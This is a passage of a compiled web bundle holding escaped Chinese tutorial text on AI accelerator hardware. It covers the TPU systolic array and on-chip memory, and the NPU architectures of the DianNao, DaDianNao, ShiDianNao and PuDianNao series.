array\uff09\u7ed3\u6784\u6765\u52a0\u901fAI\u8fd0\u7b97\uff0c\u8109\u52a8\u9635\u5217\u80fd\u591f\u5728\u4e00\u4e2a\u65f6\u949f\u5468\u671f\u5185\u5904\u7406\u6570\u5341\u4e07\u6b21\u77e9\u9635\u8fd0\u7b97\uff0c\u5728\u6bcf\u6b21\u8fd0\u7b97\u8fc7\u7a0b\u4e2d\uff0cTPU\u80fd\u591f\u5c06\u591a\u4e2a\u8fd0\u7b97\u903b\u8f91\u5355\u5143\uff08ALU\uff09\u4e32\u8054\u5728\u4e00\u8d77\uff0c\u5e76\u590d\u7528\u4ece\u4e00\u4e2a\u5bc4\u5b58\u5668\u4e2d\u53d6\u5f97\u7684\u7ed3\u679c\u3002\u8fd9\u79cd\u8bbe\u8ba1\uff0c\u4e0d\u4ec5\u80fd\u591f\u5c06\u6570\u636e\u590d\u7528\u5b9e\u73b0\u6700\u5927\u5316\uff0c\u51cf\u5c11\u82af\u7247\u5728\u8fd0\u7b97\u8fc7\u7a0b\u4e2d\u7684\u5185\u5b58\u8bbf\u95ee\u6b21\u6570\uff0c\u63d0\u9ad8AI\u8ba1\u7b97\u6548\u7387\uff0c\u540c\u65f6\u4e5f\u964d\u4f4e\u4e86\u5185\u5b58\u5e26\u5bbd\u538b\u529b\uff0c\u8fdb\u800c\u964d\u4f4e\u5185\u5b58\u8bbf\u95ee\u7684\u80fd\u8017\u3002"}),"\n",(0,r.jsx)(e.p,{children:"MMU\u7684\u8109\u52a8\u9635\u5217\u5305\u542b256 \xd7 256 = 65,536\u4e2aALU\uff0c\u4e5f\u5c31\u662f\u8bf4TPU\u6bcf\u4e2a\u5468\u671f\u53ef\u4ee5\u5904\u740665,536\u6b218\u4f4d\u6574\u6570\u7684\u4e58\u6cd5\u548c\u52a0\u6cd5\u3002"}),"\n",(0,r.jsx)(e.p,{children:"TPU\u4ee5700\u5146\u8d6b\u5179\u7684\u529f\u7387\u8fd0\u884c\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5b83\u6bcf\u79d2\u53ef\u4ee5\u8fd0\u884c65,536 \xd7 700,000,000 = 46 \xd7 1012\u6b21\u4e58\u6cd5\u548c\u52a0\u6cd5\u8fd0\u7b97\uff0c\u6216\u6bcf\u79d292\u4e07\u4ebf\uff0892 \xd7 1012\uff09\u6b21\u77e9\u9635\u5355\u5143\u4e2d\u7684\u8fd0\u7b97\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(38488).A+"",width:"1172",height:"813"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aIn-datacenter performance analysis of a tensor processing unit\uff0cfigure 4"}),"\n",(0,r.jsx)(e.h4,{id:"\u786e\u5b9a\u6027\u529f\u80fd\u548c\u5927\u89c4\u6a21\u7247\u4e0a\u5185\u5b58",children:"\u786e\u5b9a\u6027\u529f\u80fd\u548c\u5927\u89c4\u6a21\u7247\u4e0a\u5185\u5b58"}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u56fe\u662fTPU\u7684\u5e73\u9762\u8bbe\u8ba1\u7b80\u56fe\uff0c\u9ec4\u8272\u4e3aMMU\u8fd0\u7b97\u5355\u5143\uff0c\u84dd\u8272\u662f\u7edf\u4e00\u7f13\u5b58\u548c\u7d2f\u52a0\u5668\u7b49\u6570\u636e\u5355\u5143\uff0c\u7eff\u8272\u662fI/O\uff0c\u7ea2\u8272\u662f\u903b\u8f91\u63a7\u5236\u5355\u5143\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(76204).A+"",width:"1146",height:"922"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aIn-datacenter performance analysis of a tensor processing unit\uff0cfigure 2"}),"\n",(0,r.jsx)(e.p,{children:"\u4f20\u7edfGPU\u7531\u4e8e\u7247\u4e0a\u5185\u5b58\u8f83\u5c11\uff0c\u56e0\u6b64\u5728\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u9700\u8981\u4e0d\u65ad\u5730\u53bb\u8bbf\u95ee\u7247\u5916\u52a8\u6001\u968f\u673a\u5b58\u53d6\u5b58\u50a8\u5668\uff08DRAM\uff09\uff0c\u4ece\u800c\u5728\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u6d6a\u8d39\u4e86\u4e0d\u5fc5\u8981\u7684\u80fd\u8017\u3002\u4e0eCPU\u548cGPU\u76f8\u6bd4\uff0cTPU\u7684\u63a7\u5236\u5355\u5143\u66f4\u5c0f\uff0c\u66f4\u5bb9\u6613\u8bbe\u8ba1\uff0c\u9762\u79ef\u53ea\u5360\u4e86\u6574\u4e2a\u51b2\u6a21\u76842%\uff0c\u7ed9\u7247\u4e0a\u5b58\u50a8\u5668\u548c\u8fd0\u7b97\u5355\u5143\u7559\u4e0b\u4e86\u66f4\u5927\u7684\u7a7a\u95f4\u3002\u5982\u4e0a\u56fe\u6240\u793a\u7684TPU\u4e00\u4ee3\u67b6\u6784\u4e2d\uff0c\u603b\u5171\u8bbe\u8ba1\u4e86\u5360\u603b\u82af\u7247\u9762\u79ef35%\u7684\u5185\u5b58\uff0c\u5176\u4e2d\u5305\u62ec24MB\u7684\u5c40\u90e8\u5185\u5b58\u30014MB\u7684\u7d2f\u52a0\u5668\u5185\u5b58\uff0c\u4ee5\u53ca\u7528\u4e8e\u4e0e\u4e3b\u63a7\u5904\u7406\u5668\u5bf9\u63a5\u7684\u5185\u5b58\u3002\u8fd9\u4e00\u6bd4\u4f8b\u5927\u5927\u8d85\u51fa\u4e86GPU\u7b49\u901a\u7528\u5904\u7406\u5668\uff0c\u8282\u7ea6\u4e86\u5927\u91cf\u7247\u5916\u6570\u636e\u8bbf\u5b58\u80fd\u8017\uff0c\u4f7f\u5f97TPU\u8ba1\u7b97\u7684\u80fd\u6548\u6bd4\u5927\u5927\u63d0\u9ad8\u3002\u4eceTPU\u4e8c\u4ee3\u5f00\u59cb\u91c7\u7528HBM\u7247\u4e0a\u9ad8\u5e26\u5bbd\u5185\u5b58\uff0c\u867d\u7136\u548c\u6700\u65b0\u4e00\u4ee3GPU\u7247\u4e0a\u5185\u5b58\u6280\u672f\u76f8\u540c\uff0c\u4f46\u662fTPU\u82af\u7247\u7684\u9762\u79ef\u8981\u8fdc\u8fdc\u5c0f\u4e8eGPU\u3002\u7845\u7247\u8d8a\u5c0f\uff0c\u6210\u672c\u8d8a\u4f4e\uff0c\u826f\u54c1\u7387\u4e5f\u8d8a\u9ad8\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u53e6\u5916\uff0c\u7531\u4e8eTPU\u662f\u4e00\u4e2a\u5355\u7528\u9014\u82af\u7247\uff0c\u4e0d\u9700\u8981\u8003\u8651\u7f13\u5b58\u3001\u5206\u652f\u9884\u6d4b\u3001\u591a\u9053\u5904\u7406\u7b49\u95ee\u9898\u3002\u8fd9\u5c31\u610f\u5473\u7740TPU\u7684\u529f\u80fd\u662f\u5355\u4e00\u4e14\u786e\u5b9a\u7684\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528TPU\u8f7b\u6613\u7684\u9884\u6d4b\u8fd0\u884c\u4e00\u4e2a\u795e\u7ecf\u7f51\u7edc\u9700\u8981\u591a\u957f\u65f6\u95f4\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u80fd\u8ba9\u82af\u7247\u4ee5\u541e\u5410\u91cf\u63a5\u8fd1\u5cf0\u503c\u7684\u72b6\u6001\u8fd0\u884c\uff0c\u540c\u65f6\u4e25\u683c\u63a7\u5236\u5ef6\u8fdf\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"242-npu",children:"2.4.2 NPU"}),"\n",(0,r.jsx)(e.p,{children:"NPU\u5373Neural-network Processing Unit\uff0c\u4e2d\u6587\u540d\u4e3a\u795e\u7ecf\u7f51\u7edc\u5904\u7406\u5668\uff0c\u5b83\u91c7\u7528\u201c\u6570\u636e\u9a71\u52a8\u5e76\u884c\u8ba1\u7b97\u201d\u7684\u67b6\u6784\uff0c\u7279\u522b\u64c5\u957f\u5904\u7406\u89c6\u9891\u3001\u56fe\u50cf\u7c7b\u7684\u6d77\u91cf\u591a\u5a92\u4f53\u6570\u636e\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u957f\u671f\u4ee5\u6765\uff0c\u5e94\u7528\u9700\u6c42\u4e00\u76f4\u7275\u52a8\u7740\u5d4c\u5165\u5f0f\u6280\u672f\u7684\u53d1\u5c55\u65b9\u5411\u3002\u968f\u7740\u6df1\u5ea6\u5b66\u4e60\u795e\u7ecf\u7f51\u7edc\u7684\u5174\u8d77\uff0c\u4eba\u5de5\u667a\u80fd\u3001\u5927\u6570\u636e\u65f6\u4ee3\u7684\u6765\u4e34\uff0cCPU\u548cGPU\u6e10\u6e10\u96be\u4ee5\u6ee1\u8db3\u6df1\u5ea6\u5b66\u4e60\u7684\u9700\u8981\uff0c\u9762\u5bf9\u65e5\u6e10\u65fa\u76db\u7684\u9700\u6c42\u548c\u5e7f\u5927\u7684\u9884\u671f\u5e02\u573a\uff0c\u8bbe\u8ba1\u4e00\u6b3e\u4e13\u95e8\u7528\u4e8e\u795e\u7ecf\u7f51\u7edc\u6df1\u5ea6\u5b66\u4e60\u7684\u9ad8\u6548\u667a\u80fd\u5904\u7406\u5668\u663e\u5f97\u5341\u5206\u5fc5\u8981\uff0c\u56e0\u6b64NPU\u5e94\u8fd0\u800c\u751f\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u6280\u672f\u89d2\u5ea6\u770b\uff0c\u6df1\u5ea6\u5b66\u4e60\u5b9e\u9645\u4e0a\u662f\u4e00\u7c7b\u591a\u5c42\u5927\u89c4\u6a21\u4eba\u5de5\u795e\u7ecf\u7f51\u7edc\u3002\u5b83\u6a21\u4eff\u751f\u7269\u795e\u7ecf\u7f51\u7edc\u800c\u6784\u5efa\uff0c\u7531\u82e5\u5e72\u4eba\u5de5\u795e\u7ecf\u5143\u7ed3\u70b9\u4e92\u8054\u800c\u6210\u3002\u795e\u7ecf\u5143\u4e4b\u95f4\u901a\u8fc7\u7a81\u89e6\u4e24\u4e24\u8fde\u63a5\uff0c\u7a81\u89e6\u8bb0\u5f55\u4e86\u795e\u7ecf\u5143\u95f4\u8054\u7cfb\u7684\u6743\u503c\u5f3a\u5f31\u3002\u7531\u4e8e\u6df1\u5ea6\u5b66\u4e60\u7684\u57fa\u672c\u64cd\u4f5c\u662f\u795e\u7ecf\u5143\u548c\u7a81\u89e6\u7684\u5904\u7406\uff0c\u795e\u7ecf\u7f51\u7edc\u4e2d\u5b58\u50a8\u548c\u5904\u7406\u662f\u4e00\u4f53\u5316\u7684\uff0c\u90fd\u662f\u901a\u8fc7\u7a81\u89e6\u6743\u91cd\u6765\u4f53\u73b0\uff0c\u800c\u51af\xb7\u8bfa\u4f0a\u66fc\u7ed3\u6784\u4e2d\uff0c\u5b58\u50a8\u548c\u5904\u7406\u662f\u5206\u79bb\u7684\uff0c\u5206\u522b\u7531\u5b58\u50a8\u5668\u548c\u8fd0\u7b97\u5668\u6765\u5b9e\u73b0\uff0c\u4e8c\u8005\u4e4b\u95f4\u5b58\u5728\u5de8\u5927\u7684\u5dee\u5f02\u3002\u5f53\u7528\u73b0\u6709\u7684\u57fa\u4e8e\u51af\xb7\u8bfa\u4f0a\u66fc\u7ed3\u6784\u7684\u7ecf\u5178\u8ba1\u7b97\u673a(\u5982X86\u5904\u7406\u5668\u548c\u82f1\u4f1f\u8fbeGPU)\u8fd0\u884c\u795e\u7ecf\u7f51\u7edc\u5e94\u7528\u65f6\uff0c\u5c31\u4e0d\u53ef\u907f\u514d\u5730\u53d7\u5230\u5b58\u50a8\u548c\u5904\u7406\u5206\u79bb\u5f0f\u7ed3\u6784\u7684\u5236\u7ea6\uff0c\u56e0\u800c\u5f71\u54cd\u6548\u7387\u3002\u56e0\u6b64\uff0c\u4e13\u95e8\u9488\u5bf9\u4eba\u5de5\u667a\u80fd\u7684\u4e13\u4e1a\u82af\u7247NPU\u66f4\u6709\u7814\u53d1\u7684\u5fc5\u8981\u548c\u9700\u6c42\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5728NPU\u7684\u8bbe\u8ba1\u4e0a\uff0c\u4e2d\u56fd\u8d70\u5728\u4e86\u4e16\u754c\u524d\u5217\u3002\u4e0b\u9762\u6211\u4eec\u5c06\u4ee5\u5bd2\u6b66\u7eaa\u7684DianNao\u7cfb\u5217\u67b6\u6784\u4e3a\u4f8b\uff0c\u6765\u7b80\u8981\u4ecb\u7ecdNPU\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"diannao",children:"DianNao"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(38997).A+"",width:"582",height:"426"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aDianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning\uff0cfigure 9"}),"\n",(0,r.jsx)(e.p,{children:"\u57fa\u4e8e\u795e\u7ecf\u7f51\u7edc\u7684\u4eba\u5de5\u667a\u80fd\u7b97\u6cd5\uff0c\u662f\u6a21\u62df\u4eba\u7c7b\u5927\u8111\u5185\u90e8\u795e\u7ecf\u5143\u7684\u7ed3\u6784\u3002\u4e0a\u56fe\u4e2d\u7684neuron\u4ee3\u8868\u7684\u5c31\u662f\u5355\u4e2a\u795e\u7ecf\u5143\uff0csynapse\u4ee3\u8868\u795e\u7ecf\u5143\u7684\u7a81\u89e6\u3002\u8fd9\u4e2a\u6a21\u578b\u7684\u5de5\u4f5c\u6a21\u5f0f\uff0c\u5c31\u8981\u7ed3\u5408\u9ad8\u4e2d\u751f\u7269\u8bfe\u7684\u77e5\u8bc6\u4e86\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2a\u795e\u7ecf\u5143\uff0c\u6709\u8bb8\u591a\u7a81\u89e6\uff0c\u7ed9\u522b\u7684\u795e\u7ecf\u5143\u4f20\u9012\u4fe1\u606f\u3002\u540c\u6837\uff0c\u8fd9\u4e2a\u795e\u7ecf\u5143\uff0c\u4e5f\u4f1a\u63a5\u6536\u6765\u81ea\u8bb8\u591a\u5176\u4ed6\u795e\u7ecf\u5143\u7684\u4fe1\u606f\u3002\u8fd9\u4e2a\u795e\u7ecf\u5143\u6240\u6709\u63a5\u53d7\u5230\u7684\u4fe1\u606f\u7d2f\u52a0\uff0c\u4f1a\u6709\u4e00\u4e2a\u5f3a\u70c8\u7a0b\u5ea6\uff0c\u5728\u751f\u7269\u4e0a\u662f\u4ee5\u5316\u5b66\u6210\u5206\u7684\u5f62\u5f0f\u5b58\u5728\uff0c\u5f53\u8fd9\u4e9b\u4fe1\u606f\u8fbe\u5230\u4e00\u5b9a\u7684\u5f3a\u70c8\u7a0b\u5ea6\uff0c\u5c31\u4f1a\u4f7f\u6574\u4e2a\u795e\u7ecf\u5143\u5904\u4e8e\u5174\u594b\u72b6\u6001\uff08\u6fc0\u6d3b\uff09\uff0c\u5426\u5219\u5c31\u662f\u4e0d\u5174\u594b\uff08\u4e0d\u6fc0\u6d3b\uff09\u3002\u5982\u679c\u5174\u594b\u4e86\uff0c\u5c31\u7ed9\u5176\u4ed6\u795e\u7ecf\u5143\u4f20\u9012\u4fe1\u606f\uff0c\u5982\u679c\u4e0d\u5174\u594b\uff0c\u5c31\u4e0d\u4f20\u9012\u3002\u8fd9\u5c31\u662f\u5355\u72ec\u4e00\u4e2a\u795e\u7ecf\u5143\u7684\u5de5\u4f5c\u6a21\u5f0f\u3002\u90a3\u4e48\u6709\u6210\u5343\u4e0a\u4e07\u4e2a\u8fd9\u6837\u7684\u795e\u7ecf\u5143\u7ec4\u5408\u8d77\u6765\uff0c\u5c31\u662f\u4e00\u4e2a\u795e\u7ecf\u7f51\u7edc\u6a21\u578b\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48DianNao\u662f\u5982\u4f55\u6a21\u62df\u795e\u7ecf\u5143\u8fdb\u884c\u5de5\u4f5c\u7684\u5462\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u770b\u5b83\u7684\u5185\u90e8\u7ed3\u6784\u56fe\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(25358).A+"",width:"702",height:"540"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aDianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning\uff0cfigure 11"}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u56fe\u6240\u793a\uff0c\u4e0a\u56fe\u4e2d\u6d45\u84dd\u8272\u7684\u90e8\u5206\u5c31\u662f\u7528\u786c\u4ef6\u903b\u8f91\u6a21\u62df\u7684\u795e\u7ecf\u7f51\u7edc\u67b6\u6784\uff0c\u79f0\u4e3aNFU\uff08Neural Functional Units\uff09\u3002\u5b83\u53ef\u4ee5\u88ab\u7ec6\u5206\u4e3a\u4e09\u4e2a\u90e8\u5206\uff0c\u5373\u9014\u4e2d\u7684NFU-1\uff0cNFU-2\uff0c\u548cNFU-3\u3002"}),"\n",(0,r.jsx)(e.p,{children:"NFU-1\u662f\u4e58\u6cd5\u5355\u5143\uff0c\u5b83\u91c7\u752816bit\u5b9a\u70b9\u6570\u4e58\u6cd5\u5668\uff0c1\u4f4d\u7b26\u53f7\u4f4d\uff0c5\u4f4d\u6574\u6570\u4f4d\uff0c10\u4f4d\u5c0f\u6570\u4f4d\u3002\u8be5\u90e8\u5206\u603b\u8ba1\u6709256\u4e2a\u4e58\u6cd5\u5668\u3002\u8fd9\u4e9b\u4e58\u6cd5\u5668\u7684\u8ba1\u7b97\u662f\u540c\u65f6\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5728\u4e00\u4e2a\u5468\u671f\u5185\u53ef\u4ee5\u6267\u884c256\u6b21\u4e58\u6cd5\u3002"}),"\n",(0,r.jsx)(e.p,{children:"NFU-2\u662f\u52a0\u6cd5\u6811\uff0c\u603b\u8ba116\u4e2a\uff0c\u6bcf\u4e00\u4e2a\u52a0\u6cd5\u6811\u90fd\u662f8-4-2-1\u8fd9\u6837\u7684\u7ec4\u6210\u7ed3\u6784\uff0c\u5373\u5c31\u662f\u6bcf\u4e00\u4e2a\u52a0\u6cd5\u6811\u4e2d\u90fd\u670915\u4e2a\u52a0\u6cd5\u5668\u3002"}),"\n",(0,r.jsx)(e.p,{children:"NFU-3\u662f\u975e\u7ebf\u6027\u6fc0\u6d3b\u51fd\u6570\uff0c\u8be5\u90e8\u5206\u7531\u5206\u6bb5\u7ebf\u6027\u8fd1\u4f3c\u5b9e\u73b0\u975e\u7ebf\u6027\u51fd\u6570\uff0c\u6839\u636e\u524d\u9762\u4e24\u4e2a\u5355\u5143\u8ba1\u7b97\u5f97\u5230\u7684\u523a\u6fc0\u91cf\uff0c\u4ece\u800c\u5224\u65ad\u662f\u5426\u9700\u8981\u6fc0\u6d3b\u64cd\u4f5c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5f53\u9700\u8981\u5b9e\u73b0\u5411\u91cf\u76f8\u4e58\u548c\u5377\u79ef\u8fd0\u7b97\u65f6\uff0c\u4f7f\u7528NFU-1\u5b8c\u6210\u5bf9\u5e94\u4f4d\u7f6e\u5143\u7d20\u76f8\u4e58\uff0cNFU-2\u5b8c\u6210\u76f8\u4e58\u7ed3\u679c\u76f8\u52a0\uff0c\u6700\u540e\u7531NFU-3\u5b8c\u6210\u6fc0\u6d3b\u51fd\u6570\u6620\u5c04\u3002\u5b8c\u6210\u6c60\u5316\u8fd0\u7b97\u65f6\uff0c\u4f7f\u7528NFU-2\u5b8c\u6210\u591a\u4e2a\u5143\u7d20\u53d6\u6700\u5927\u503c\u6216\u53d6\u5e73\u5747\u503c\u8fd0\u7b97\u3002\u7531\u6b64\u5206\u6790\uff0c\u5c3d\u7ba1\u8be5\u8fd0\u7b97\u6a21\u5757\u975e\u5e38\u7b80\u5355\uff0c\u4e5f\u8986\u76d6\u4e86\u795e\u7ecf\u7f51\u7edc\u6240\u9700\u8981\u7684\u5927\u90e8\u5206\u8fd0\u7b97\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"dadiannao",children:"DaDianNao"}),"\n",(0,r.jsx)(e.p,{children:"\u4f5c\u4e3aDianNao\u7684\u591a\u6838\u5347\u7ea7\u7248\u672c\uff0cDaDianNao\u7684\u8fd0\u7b97\u5355\u5143NFU\u4e0eDianNao\u57fa\u672c\u76f8\u540c\uff0c\u6700\u5927\u7684\u533a\u522b\u662f\u4e3a\u4e86\u5b8c\u6210\u8bad\u7ec3\u4efb\u52a1\u591a\u52a0\u4e86\u51e0\u6761\u6570\u636e\u901a\u8def\uff0c\u4e14\u914d\u7f6e\u66f4\u52a0\u7075\u6d3b\u3002NFU\u7684\u5c3a\u5bf8\u4e3a16x16\uff0c\u537316\u4e2a\u8f93\u51fa\u795e\u7ecf\u5143\uff0c\u6bcf\u4e2a\u8f93\u51fa\u795e\u7ecf\u5143\u670916\u4e2a\u8f93\u5165\uff08\u8f93\u5165\u7aef\u9700\u8981\u4e00\u6b21\u63d0\u4f9b256\u4e2a\u6570\u636e\uff09\u3002\u540c\u65f6\uff0cNFU\u53ef\u4ee5\u53ef\u9009\u7684\u8df3\u8fc7\u4e00\u4e9b\u6b65\u9aa4\u4ee5\u8fbe\u5230\u7075\u6d3b\u53ef\u914d\u7f6e\u7684\u529f\u80fd\u3002DaDianNao\u7684NFU\u7ed3\u6784\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(73698).A+"",width:"823",height:"628"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aDaDianNao: A Machine-Learning Supercomputer\uff0cfigure 6"}),"\n",(0,r.jsx)(e.h3,{id:"shidiannao",children:"ShiDianNao"}),"\n",(0,r.jsx)(e.p,{children:"ShiDianNao\u662f\u673a\u5668\u89c6\u89c9\u4e13\u7528\u52a0\u901f\u5668\uff0c\u96c6\u6210\u4e86\u89c6\u9891\u5904\u7406\u7684\u90e8\u5206\uff0c\u5b83\u4e5f\u662fDianNao\u7cfb\u5217\u4e2d\u552f\u4e00\u4e00\u4e2a\u8003\u8651\u8fd0\u7b97\u5355\u5143\u7ea7\u6570\u636e\u91cd\u7528\u7684\u52a0\u901f\u5668\uff0c\u4e5f\u662f\u552f\u4e00\u4f7f\u7528\u4e8c\u7ef4\u8fd0\u7b97\u9635\u5217\u7684\u52a0\u901f\u5668\uff0c\u5176\u52a0\u901f\u5668\u7684\u8fd0\u7b97\u9635\u5217\u7ed3\u6784\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(53683).A+"",width:"916",height:"597"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aShiDianNao: Shifting vision processing closer to the sensor\uff0cfigure 5"}),"\n",(0,r.jsx)(e.p,{children:"ShiDianNao\u7684\u8fd0\u7b97\u9635\u5217\u4e3a2D\u683c\u70b9\u7ed3\u6784\uff0c\u5bf9\u4e8e\u6bcf\u4e00\u4e2a\u8fd0\u7b97\u5355\u5143\uff08\u8282\u70b9\uff09\u800c\u8a00\uff0c\u8fd0\u7b97\u6240\u4f7f\u7528\u7684\u53c2\u6570\u7edf\u4e00\u6765\u6e90\u4e8eKernel\uff0c\u800c\u53c2\u4e0e\u8fd0\u7b97\u7684\u6570\u636e\u5219\u53ef\u80fd\u6765\u81ea\u4e8e\uff1a\u6570\u636e\u7f13\u5b58NBin\uff0c\u4e0b\u65b9\u7684\u8282\u70b9\uff0c\u53f3\u4fa7\u7684\u8282\u70b9\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u56fe\u4e3a\u6bcf\u4e2a\u8fd0\u7b97\u5355\u5143\u7684\u7ed3\u6784\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(281).A+"",width:"655",height:"505"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aShiDianNao: Shifting vision processing closer to the sensor\uff0cfigure 6"}),"\n",(0,r.jsx)(e.p,{children:"\u8be5\u8ba1\u7b97\u8282\u70b9\u7684\u529f\u80fd\u5305\u62ec\u8f6c\u53d1\u6570\u636e\u548c\u8fdb\u884c\u8ba1\u7b97\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"\u8f6c\u53d1\u6570\u636e\uff1a\u6bcf\u4e2a\u6570\u636e\u53ef\u6765\u6e90\u4e8e\u53f3\u4fa7\u8282\u70b9\uff0c\u4e0b\u65b9\u8282\u70b9\u548cNBin\uff0c\u6839\u636e\u63a7\u5236\u4fe1\u53f7\u9009\u62e9\u5176\u4e2d\u4e00\u4e2a\u5b58\u50a8\u5230\u8f93\u5165\u5bc4\u5b58\u5668\u4e2d\uff0c\u4e14\u6839\u636e\u63a7\u5236\u4fe1\u53f7\u53ef\u9009\u7684\u5c06\u5176\u5b58\u50a8\u5230FIFO-H\u548cFIFO-V\u4e2d\u3002\u540c\u65f6\u6839\u636e\u63a7\u5236\u4fe1\u53f7\u9009\u62e9FIFO-H\u548cFIFO-V\u4e2d\u7684\u4fe1\u53f7\u4eceFIFO output\u7aef\u53e3\u8f93\u51fa"}),"\n",(0,r.jsx)(e.p,{children:"\u8fdb\u884c\u8ba1\u7b97\uff1a\u6839\u636e\u63a7\u5236\u4fe1\u53f7\u8fdb\u884c\u8ba1\u7b97\uff0c\u5305\u62ec\u76f8\u52a0\uff0c\u7d2f\u52a0\uff0c\u4e58\u52a0\u548c\u6bd4\u8f83\u7b49\uff0c\u5e76\u5c06\u7ed3\u679c\u5b58\u50a8\u5230\u8f93\u51fa\u5bc4\u5b58\u5668\u4e2d\uff0c\u5e76\u6839\u636e\u63a7\u5236\u4fe1\u53f7\u9009\u62e9\u5bc4\u5b58\u5668\u6216\u8ba1\u7b97\u7ed3\u679c\u8f93\u51fa\u5230PE output\u7aef\u53e3\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5bf9\u4e8e\u8ba1\u7b97\u529f\u80fd\uff0c\u6839\u636e\u4e0a\u6587\u7684\u7ed3\u6784\u56fe\uff0c\u53ef\u4ee5\u53d1\u73b0\uff0cPE\u652f\u6301\u7684\u8fd0\u7b97\u6709\uff1akernel\u548c\u8f93\u5165\u6570\u636e\u76f8\u4e58\u5e76\u4e0e\u8f93\u51fa\u5bc4\u5b58\u5668\u6570\u636e\u76f8\u52a0\uff08\u4e58\u52a0\uff09\uff0c\u8f93\u5165\u6570\u636e\u4e0e\u8f93\u51fa\u5bc4\u5b58\u5668\u6570\u636e\u53d6\u6700\u5927\u6216\u6700\u5c0f\uff08\u5e94\u7528\u4e8e\u6c60\u5316\uff09\uff0ckernel\u4e0e\u8f93\u5165\u6570\u636e\u76f8\u52a0\uff08\u5411\u91cf\u52a0\u6cd5\uff09\uff0c\u8f93\u5165\u6570\u636e\u4e0e\u8f93\u51fa\u5bc4\u5b58\u5668\u6570\u636e\u76f8\u52a0\uff08\u7d2f\u52a0\uff09\u7b49\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"pudiannao",children:"PuDianNao"}),"\n",(0,r.jsx)(e.p,{children:"\u4f5c\u4e3aDianNao\u7cfb\u5217\u7684\u6536\u5c71\u4e4b\u4f5c\uff0cPuDianNao\u7684\u8fd0\u7b97\u5355\u5143\u662f\u7535\u8111\u7cfb\u5217\u4e2d\u552f\u4e00\u4e00\u4e2a\u5f02\u6784\u7684\uff0c\u9664\u4e86\u6709MLU\uff08\u673a\u5668\u5b66\u4e60\u5355\u5143\uff09\u5916\uff0c\u8fd8\u6709\u4e00\u4e2aALU\u7528\u4e8e\u5904\u7406\u901a\u7528\u8fd0\u7b97\u548cMLU\u65e0\u6cd5\u5904\u7406\u7684\u8fd0\u7b97\uff0c\u5176\u8fd0\u7b97\u5355\u5143\uff08\u4e0a\uff09\u548cMLU\uff08\u4e0b\uff09\u7ed3\u6784\u5982\u4e0b\u56fe\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(55651).A+"",width:"812",height:"868"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aPuDianNao: A Polyvalent Machine Learning Accelerator\uff0cfigure 11&12"}),"\n",(0,r.jsx)(e.p,{children:"\u8be5MLU\u5171\u5206\u4e3a6\u5c42\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"\u8ba1\u6570\u5c42/\u6bd4\u8f83\u5c42\uff1a\u8fd9\u4e00\u5c42\u7684\u5904\u7406\u4e3a\u4e24\u4e2a\u6570\u6309\u4f4d\u4e0e\u6216\u6bd4\u8f83\u5927\u5c0f\uff0c\u7ed3\u679c\u5c06\u88ab\u7d2f\u52a0\uff0c\u8fd9\u4e00\u5c42\u53ef\u4ee5\u5355\u72ec\u8f93\u51fa\u4e14\u53ef\u4ee5\u88abbypass"}),"\n",(0,r.jsx)(e.p,{children:"\u52a0\u6cd5\u5c42\uff1a\u8fd9\u4e00\u5c42\u4e3a\u4e24\u4e2a\u8f93\u5165\u5bf9\u5e94\u76f8\u52a0\uff0c\u8fd9\u4e00\u5c42\u53ef\u4ee5\u5355\u72ec\u8f93\u51fa\u4e14\u53ef\u4ee5\u88abbypass"}),"\n",(0,r.jsx)(e.p,{children:"\u4e58\u6cd5\u5c42\uff1a\u8fd9\u4e00\u5c42\u4e3a\u4e24\u4e2a\u8f93\u5165\u6216\u4e0a\u4e00\u5c42\uff08\u52a0\u6cd5\u5c42\uff09\u7ed3\